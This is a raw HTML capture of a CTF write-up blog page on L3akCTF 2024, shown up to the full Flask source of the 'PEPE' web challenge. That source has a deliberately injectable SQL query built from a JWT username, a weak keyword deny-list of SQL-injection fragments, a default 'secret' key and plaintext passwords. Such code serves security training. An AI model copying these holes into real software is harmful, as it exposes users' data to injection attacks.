PageSourceSearch

https://kashmir54.github.io/ctfs/L3akCTF2024/

html kashmir54.github.io collected 2026-10-03 09:26:48 UTC 144,348 bytes, 1,551 lines download raw bytes

1<!DOCTYPE html>
2<html lang="en-US">
3  <head>
4    <meta charset='utf-8'>
5    <meta http-equiv="X-UA-Compatible" content="IE=edge">
6    <meta name="viewport" content="width=device-width, initial-scale=1">
7    <link rel="stylesheet" href="/assets/css/style.css?v=fb4febe6ffe65909c73223ca0e45a363ea3def6b">
8    <link rel="stylesheet" href="/assets/css/lightgallery.min.css">
9    
9<script src="/assets/js/lightgallery.min.js"></script>
9
10      
11
12    <link rel="shortcut icon" type="image/x-icon" href="/images/favicon.ico">
13
14<!-- Begin Jekyll SEO tag v2.8.0 -->
15<title>CTF - L3akCTF 2024 | Kashmir54</title>
16<meta name="generator" content="Jekyll v3.10.0" />
17<meta property="og:title" content="CTF - L3akCTF 2024" />
18<meta name="author" content="Kashmir54" />
19<meta property="og:locale" content="en_US" />
20<meta name="description" content="CTF - L3akCTF 2024" />
21<meta property="og:description" content="CTF - L3akCTF 2024" />
22<link rel="canonical" href="https://kashmir54.github.io/ctfs/L3akCTF2024/" />
23<meta property="og:url" content="https://kashmir54.github.io/ctfs/L3akCTF2024/" />
24<meta property="og:site_name" content="Kashmir54" />
25<meta property="og:image" content="https://kashmir54.github.io/images/kashmir.png" />
26<meta property="og:type" content="article" />
27<meta property="article:published_time" content="2024-05-19T00:00:00+00:00" />
28<meta name="twitter:card" content="summary_large_image" />
29<meta property="twitter:image" content="https://kashmir54.github.io/images/kashmir.png" />
30<meta property="twitter:title" content="CTF - L3akCTF 2024" />
31<script type="application/ld+json">
32{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"Kashmir54"},"dateModified":"2024-05-19T00:00:00+00:00","datePublished":"2024-05-19T00:00:00+00:00","description":"CTF - L3akCTF 2024","headline":"CTF - L3akCTF 2024","image":"https://kashmir54.github.io/images/kashmir.png","mainEntityOfPage":{"@type":"WebPage","@id":"https://kashmir54.github.io/ctfs/L3akCTF2024/"},"url":"https://kashmir54.github.io/ctfs/L3akCTF2024/"}</script>
32
33<!-- End Jekyll SEO tag -->
34
35    <!-- Google tag (gtag.js) -->
vendor: 68 bytes, lines 35-36
35
36    <script async src="https://www.googletagmanager.com/gtag/js?id=
36G-BWT408TBEN
vendor: 16 bytes, lines 36-37
36"></script>
37    
37<script>
38      
vendor: 146 bytes, lines 38-42
38window.dataLayer = window.dataLayer || [];
39      function gtag(){dataLayer.push(arguments);}
40      gtag('js', new Date());
41
42      gtag('config', '
42G-BWT408TBEN
vendor: 8 bytes, lines 42-43
42');
43    
43</script>
43
44
45  </head>
46
47  <body>
48
49    <header>
50      <div class="container">
51        <a id="a-title" href="/">
52          <h1>Kashmir54</h1>
53        </a>
54        <h2>Cibersecurity blog. CTFs, writeups, electronics and more!</h2>
55
56        <section id="downloads">
57          
58          <a href="/" class="btn"><span class="icon"><svg xmlns="http://www.w3.org/2000/svg"  viewBox="0 0 40 40" width="15px" height="15px"><path fill="#dbf2ff" d="M3.5 38.5L3.5 13.286 19.998 3.58 36.5 13.286 36.5 38.5z"/><path fill="#7496c4" d="M19.998,4.16L36,13.572V38H4V13.572L19.998,4.16 M19.998,3L3,13v26h34V13L19.998,3L19.998,3z"/><path fill="#b5ddf5" d="M4 34H36V38H4z"/><path fill="#f78f8f" d="M19.998 4.645L1.5 15.955 1.5 12.896 19.998 1.586 38.5 12.896 38.5 15.955z"/><path fill="#c74343" d="M19.998,2.172L38,13.176v1.887L20.519,4.378l-0.522-0.319l-0.522,0.319L2,15.063v-1.887 L19.998,2.172 M19.998,1L1,12.615v4.231L19.998,5.231L39,16.846v-4.231L19.998,1L19.998,1z"/><g><path fill="#ffc49c" d="M14.5 21.5H25.5V38.5H14.5z"/><path fill="#a16a4a" d="M25,22v16H15V22H25 M26,21H14v18h12V21L26,21z"/></g><path fill="#a16a4a" d="M23 30A1 1 0 1 0 23 32A1 1 0 1 0 23 30Z"/></svg></span>Home</a>
59
60          <a href="/flipper/" class="btn btn-youtube"><span class="icon-2"><img src="/images/flipper/flipper.svg" /></span>Flipper Boards</a>
61
62          <a href="/ctfs/" class="btn btn-youtube"><span class="icon-2"><img src="/images/fav.ico" /></span>CTF Writeups</a>
63
64          <a href="https://www.youtube.com/@Kashmir54" class="btn btn-youtube"><span class="icon"><svg xmlns="http://www.w3.org/2000/svg"  viewBox="0 0 48 48" width="19px" height="19px"><path fill="#FF3D00" d="M43.2,33.9c-0.4,2.1-2.1,3.7-4.2,4c-3.3,0.5-8.8,1.1-15,1.1c-6.1,0-11.6-0.6-15-1.1c-2.1-0.3-3.8-1.9-4.2-4C4.4,31.6,4,28.2,4,24c0-4.2,0.4-7.6,0.8-9.9c0.4-2.1,2.1-3.7,4.2-4C12.3,9.6,17.8,9,24,9c6.2,0,11.6,0.6,15,1.1c2.1,0.3,3.8,1.9,4.2,4c0.4,2.3,0.9,5.7,0.9,9.9C44,28.2,43.6,31.6,43.2,33.9z"/><path fill="#FFF" d="M20 31L20 17 32 24z"/></svg></span>YouTube</a>
65          <a href="https://github.com/kashmir54/kashmir54.github.io" class="btn btn-github"><span class="icon"></span>View on GitHub</a>
66
67        </section>
68      </div>
69    </header>
70
71    <div class="container">
72      <section id="main_content">
73        <h1 id="l3akctf-2024">L3akCTF 2024</h1>
74
75<p>Welcome to another CTF writeup. I did some CTFs early this year but didn’t publish writeups, but here we are, back again. This time I played L3akCTF 2024 in the weekend time. We participated as <a href="https://ctftime.org/team/109689">ISwearGoogledIt</a> with my mates <a href="https://razvioverflow.github.io/">Razvi</a> and <a href="https://albertofdr.github.io/">Bubu</a>. We got on top 20! 🔥 Let’s get started:</p>
76
77<p><br /></p>
78
79<p align="center">
80  <img src="/images/writeups/L3akCTF2024/banner.png" width="60%" />
81</p>
82
83<h3 id="web">Web</h3>
84<ul>
85  <li><a href="#pepe---48-solves">PEPE - [48 solves]</a></li>
86  <li><a href="#bbsqli---43-solves">bbsqli - [43 solves]</a></li>
87</ul>
88
89<h3 id="hardware">Hardware</h3>
90<ul>
91  <li><a href="#layout---90-solves">Layout - [90 solves]</a></li>
92  <li><a href="#celestial---28-solves">Celestial - [28 solves]</a></li>
93  <li><a href="#communication-gateway---9-solves">Communication Gateway - [9 solves]</a></li>
94  <li><a href="#exorbitant---12-solves">eXORbitant - [12 solves]</a></li>
95</ul>
96
97<h3 id="osint">OSINT</h3>
98<ul>
99  <li><a href="#geosint-1---229-solves">Geosint-1 - [229 solves]</a></li>
100  <li><a href="#geosint-2---164-solves">Geosint-2 - [164 solves]</a></li>
101  <li><a href="#geosint-3---129-solves">Geosint-3 - [129 solves]</a></li>
102  <li><a href="#geosint-4---84-solves">Geosint-4 - [84 solves]</a></li>
103  <li><a href="#gameplay-1---149-solves">Gameplay-1 - [149 solves]</a></li>
104  <li><a href="#gameplay-2---65-solves">Gameplay-2 - [65 solves]</a></li>
105  <li><a href="#gameplay-3---34-solves">Gameplay-3 - [34 solves]</a></li>
106  <li><a href="#gameplay-4---22-solves">Gameplay-4 - [22 solves]</a></li>
107</ul>
108
109<h3 id="forensic">Forensic</h3>
110<ul>
111  <li><a href="#holdontight---68-solves">HoldOnTight - [68 solves]</a></li>
112</ul>
113
114<p><small><i><a href="https://github.com/kashmir54/md-toc">
114Table of contents generated with md-toc</a></i></small></p>
115
116<hr />
117
118<p><br /></p>
119
120<h1 id="web-1">Web</h1>
121
122<h2 id="pepe---48-solves">PEPE - [48 solves]</h2>
123<p>492
124web
125Can you bypass my filters ?</p>
126
127<p><em>Authors: S1mple &amp; Achux21</em></p>
128
129<p>http://45.129.40.107:9669/</p>
130
131<p>We have a login-register-dashboard app:</p>
132
133<p align="center">
134  <img src="/images/writeups/L3akCTF2024/web_2.png" width="70%" />
135</p>
136
137<p>And the following app.py code:</p>
138
139<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3 
140</span><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">make_response</span><span class="p">,</span> <span class="n">redirect</span>
141<span class="kn">import</span> <span class="nn">sqlite3</span><span class="p">,</span> <span class="n">jwt</span><span class="p">,</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">os</span>
142
143<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">,</span> <span class="n">template_folder</span><span class="o">=</span><span class="s">'./static'</span><span class="p">)</span>
144
145<span class="n">secret</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'SECRET'</span><span class="p">,</span> <span class="s">'secret'</span><span class="p">)</span>
146
147<span class="n">flag</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'FLAG'</span><span class="p">,</span> <span class="s">'L3AK{this_is_a_fake_flag}'</span><span class="p">)</span>
148
149<span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"challenge.db"</span><span class="p">)</span>
150<span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
151
152<span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"CREATE TABLE IF NOT EXISTS users (username TEXT NOT NULL, password TEXT NOT NULL, fortune TEXT NOT NULL);"</span><span class="p">)</span>
153
154<span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"CREATE TABLE IF NOT EXISTS flag (flag TEXT);"</span><span class="p">)</span>
155
156<span class="k">if</span> <span class="ow">not</span> <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"SELECT * FROM flag;"</span><span class="p">).</span><span class="n">fetchone</span><span class="p">():</span>
157    <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="sa">f</span><span class="s">"INSERT INTO flag (flag) VALUES ('</span><span class="si">{</span><span class="n">flag</span><span class="si">}</span><span class="s">');"</span><span class="p">)</span>
158
159<span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
160<span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
161
162<span class="k">def</span> <span class="nf">create_jwt</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">alg</span><span class="p">):</span>
163    <span class="n">payload</span> <span class="o">=</span><span class="p">{</span>
164        <span class="s">'username'</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span>
165        <span class="s">'password'</span><span class="p">:</span> <span class="n">password</span><span class="p">,</span>
166        <span class="s">'exp'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">.</span><span class="n">utcnow</span><span class="p">()</span> <span class="o">+</span> <span class="n">datetime</span><span class="p">.</span><span class="n">timedelta</span><span class="p">(</span><span class="n">seconds</span><span class="o">=</span><span class="mi">6000</span><span class="p">)</span>
167    <span class="p">}</span>
168    <span class="n">token</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">secret</span><span class="p">,</span> <span class="n">algorithm</span><span class="o">=</span><span class="n">alg</span><span class="p">)</span>
169    <span class="k">return</span> <span class="n">token</span>
170
171<span class="k">def</span> <span class="nf">verify_jwt</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">alg</span><span class="p">):</span>
172    <span class="k">try</span><span class="p">:</span>
173        <span class="n">payload</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">
173decode</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">secret</span><span class="p">,</span> <span class="n">algorithms</span><span class="o">=</span><span class="n">alg</span><span class="p">)</span>
174        <span class="k">return</span> <span class="n">payload</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span>
175    <span class="k">except</span> <span class="n">jwt</span><span class="p">.</span><span class="n">ExpiredSignatureError</span><span class="p">:</span>
176        <span class="k">return</span> <span class="s">'Token expired'</span>
177    <span class="k">except</span> <span class="n">jwt</span><span class="p">.</span><span class="n">InvalidTokenError</span><span class="p">:</span>
178        <span class="k">return</span> <span class="s">'Invalid token'</span>
179
180
181<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>
182<span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
183    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'index.html'</span><span class="p">)</span>
184
185<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/signup'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span>
186<span class="k">def</span> <span class="nf">signup</span><span class="p">():</span>
187    <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span> <span class="ow">and</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">):</span>
188        <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span>
189        <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">)</span>
190
191        <span class="k">if</span> <span class="ow">not</span> <span class="n">username</span><span class="p">.</span><span class="n">isalnum</span><span class="p">():</span>
192            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'signup.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username can only contain alphanumeric characters'</span><span class="p">)</span>
193
194        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">:</span>
195            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username must be at least 3 characters long'</span><span class="p">)</span>
196        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">20</span><span class="p">:</span>
197            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username must be at most 20 characters long'</span><span class="p">)</span>
198        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">:</span>
199            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Password must be at least 8 characters long'</span><span class="p">)</span>
200        <span class="k">if</span> <span class="ow">not</span> <span class="n">username</span><span class="p">.</span><span class="n">isalnum</span><span class="p">():</span>
201            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username can only contain alphanumeric characters'</span><span class="p">)</span>
202
203        <span class="n">fortune</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">popen</span><span class="p">(</span><span class="s">'fortune'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
204        <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"challenge.db"</span><span class="p">)</span>
205        <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
206        <span class="n">query</span> <span class="o">=</span> <span class="s">"SELECT * FROM users WHERE username = ?;"</span>
207        <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,))</span>
208        <span class="k">if</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">():</span>
209            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'signup.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'User already exists'</span><span class="p">)</span>
210
211        <span class="n">query</span> <span class="o">=</span> <span class="s">"INSERT INTO users (username, password, fortune) VALUES (?, ?, ?);"</span>
212        
213        <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">fortune</span><span class="p">))</span>
214        <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
215        <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
216        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'User created successfully'</span><span class="p">)</span>
217    <span class="k">else</span><span class="p">:</span>
218        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'signup.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Please provide username and password'</span><span class="p">)</span>
219
220<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/login'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span>
221<span class="k">def</span> <span class="nf">login</span><span class="p">():</span>
222    <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'GET'</span><span class="p">:</span>
223        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">)</span>
224    <span class="k">elif</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span> <span class="ow">and</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">)</span> <span class="ow">and</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span>    
225        
226        <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span>
227        <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'password'</span><span class="p">)</span>
228        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">:</span>
229            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username must be at least 3 characters long'</span><span class="p">)</span>
230        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">20</span><span class="p">:</span>
231            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username must be at most 20 characters long'</span><span class="p">)</span>
232        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">:</span>
233            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Password must be at least 8 characters long'</span><span class="p">)</span>
234        <span class="k">if</span> <span class="ow">not</span> <span class="n">username</span><span class="p">.</span><span class="n">isalnum</span><span class="p">():</span>
235            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username can only contain alphanumeric characters'</span><span class="p">)</span>
236
237
238        <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"challenge.db"</span><span class="p">)</span>
239        <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
240        <span class="n">query</span> <span class="o">=</span> <span class="s">"SELECT * FROM users WHERE username = ? AND password = ?;"</span>
241        <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">))</span>
242        <span class="k">if</span> <span class="ow">not</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">():</span>
243            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span>  
244        <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
245        
246        <span class="n">token</span> <span class="o">=</span> <span class="n">create_jwt</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="s">'HS256'</span><span class="p">)</span>
247        <span class="n">r</span> <span class="o">=</span> <span class="n">make_response</span><span class="p">(</span><span class="n">redirect</span><span class="p">(</span><span class="s">'/dashboard'</span><span class="p">))</span>
248        <span class="n">r</span><span class="p">.</span><span class="n">set_cookie</span><span class="p">(</span><span class="s">'token'</span><span class="p">,</span> <span class="n">token</span><span class="p">)</span>
249        <span class="k">return</span> <span class="n">r</span>
250    
251    <span class="k">else</span><span class="p">:</span>
252        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Please provide username and password'</span><span class="p">)</span>
253
254<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/dashboard'</span><span class="p">)</span>
255<span class="k">def</span> <span class="nf">dashboard</span><span class="p">():</span>
256    
257    <span class="n">token</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">cookies</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'token'</span><span class="p">)</span>
258    <span class="k">if</span> <span class="ow">not</span> <span class="n">token</span><span class="p">:</span>
259        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Please login to access this page'</span><span class="p">)</span>
260    <span class="c1"># my code
261</span>    <span class="n">decoded_token</span> <span class="o">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">
261decode</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">secret</span><span class="p">,</span> <span class="n">algorithms</span><span class="o">=</span><span class="p">[</span><span class="s">'HS256'</span><span class="p">])</span>
262    
263    <span class="n">username</span> <span class="o">=</span> <span class="n">decoded_token</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span>
264    <span class="n">username</span><span class="o">=</span><span class="n">username</span><span class="p">.</span><span class="n">lower</span><span class="p">()</span>
265    <span class="n">filters</span><span class="o">=</span><span class="p">[</span><span class="s">"&gt;"</span><span class="p">,</span> <span class="s">"+"</span><span class="p">,</span><span class="s">"="</span><span class="p">,</span> <span class="s">"&lt;"</span><span class="p">,</span><span class="s">"//"</span><span class="p">,</span> <span class="s">"|"</span><span class="p">,</span><span class="s">"'1"</span><span class="p">,</span> <span class="s">" 1"</span><span class="p">,</span> <span class="s">" true"</span><span class="p">,</span> <span class="s">"'true"</span><span class="p">,</span> <span class="s">" or"</span><span class="p">,</span> <span class="s">"'or"</span><span class="p">,</span> <span class="s">"/or"</span><span class="p">,</span><span class="s">";"</span><span class="p">,</span> <span class="s">" "</span><span class="p">,</span> <span class="s">" "</span> <span class="p">,</span><span class="s">" and"</span><span class="p">,</span> <span class="s">"'and"</span><span class="p">,</span> <span class="s">"/and"</span><span class="p">,</span> <span class="s">"'like"</span><span class="p">,</span> <span class="s">" like"</span><span class="p">,</span> <span class="s">"%00"</span><span class="p">,</span> <span class="s">"null"</span><span class="p">,</span> <span class="s">"admin'"</span><span class="p">,</span><span class="s">"/like"</span><span class="p">,</span> <span class="s">"'where"</span><span class="p">,</span> <span class="s">" where"</span><span class="p">,</span> <span class="s">"/where"</span><span class="p">]</span>
266    <span class="n">passed</span> <span class="o">=</span> <span class="nb">next</span><span class="p">(</span>
267            <span class="p">(</span>
268                <span class="n">i</span>
269                <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">filters</span>
270                <span class="k">if</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">username</span>
271            <span class="p">),</span>
272            <span class="bp">None</span><span class="p">,</span>
273        <span class="p">)</span>
274
275    <span class="k">if</span> <span class="n">passed</span><span class="p">:</span>
276        <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span>
277
278    <span class="k">if</span> <span class="ow">not</span> <span class="n">token</span><span class="p">:</span>
279        <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'/login'</span><span class="p">)</span>
280    <span class="n">username</span> <span class="o">=</span> <span class="n">verify_jwt</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="s">'HS256'</span><span class="p">)</span>
281    <span class="k">if</span> <span class="n">username</span><span class="p">:</span>
282        <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">"challenge.db"</span><span class="p">)</span>
283        <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
284        <span class="n">query</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"SELECT fortune FROM users WHERE username='</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s">';"</span>
285        <span class="n">result</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
286        <span class="n">row</span> <span class="o">=</span> <span class="n">result</span><span class="p">.</span><span class="n">fetchone</span><span class="p">()</span>
287        <span class="k">if</span> <span class="n">row</span><span class="p">:</span>
288            <span class="n">query</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">replace</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">n"</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"('"</span><span class="p">,</span> <span class="s">""</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"',)"</span><span class="p">,</span> <span class="s">""</span><span class="p">)</span>
289            <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
290            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'dashboard.html'</span><span class="p">,</span> <span class="n">fortunes</span><span class="o">=</span><span class="n">query</span><span class="p">)</span>
291        <span class="k">else</span><span class="p">:</span>
292            <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
293            <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span>
294    <span class="k">else</span><span class="p">:</span>
295        <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'/login'</span><span class="p">)</span>
296
297<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/logout'</span><span class="p">)</span>
298<span class="k">def</span> <span class="nf">logout</span><span class="p">():</span>
299    <span class="n">r</span> <span class="o">=</span> <span class="n">make_response</span><span class="p">(</span><span class="n">redirect</span><span class="p">(</span><span class="s">'/login'</span><span class="p">))</span>
300    <span class="n">r</span><span class="p">.</span><span class="n">set_cookie</span><span class="p">(</span><span class="s">'token'</span><span class="p">,</span> <span class="s">''</span><span class="p">,</span> <span class="n">expires</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
301    <span class="k">return</span> <span class="n">r</span>
302
303<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
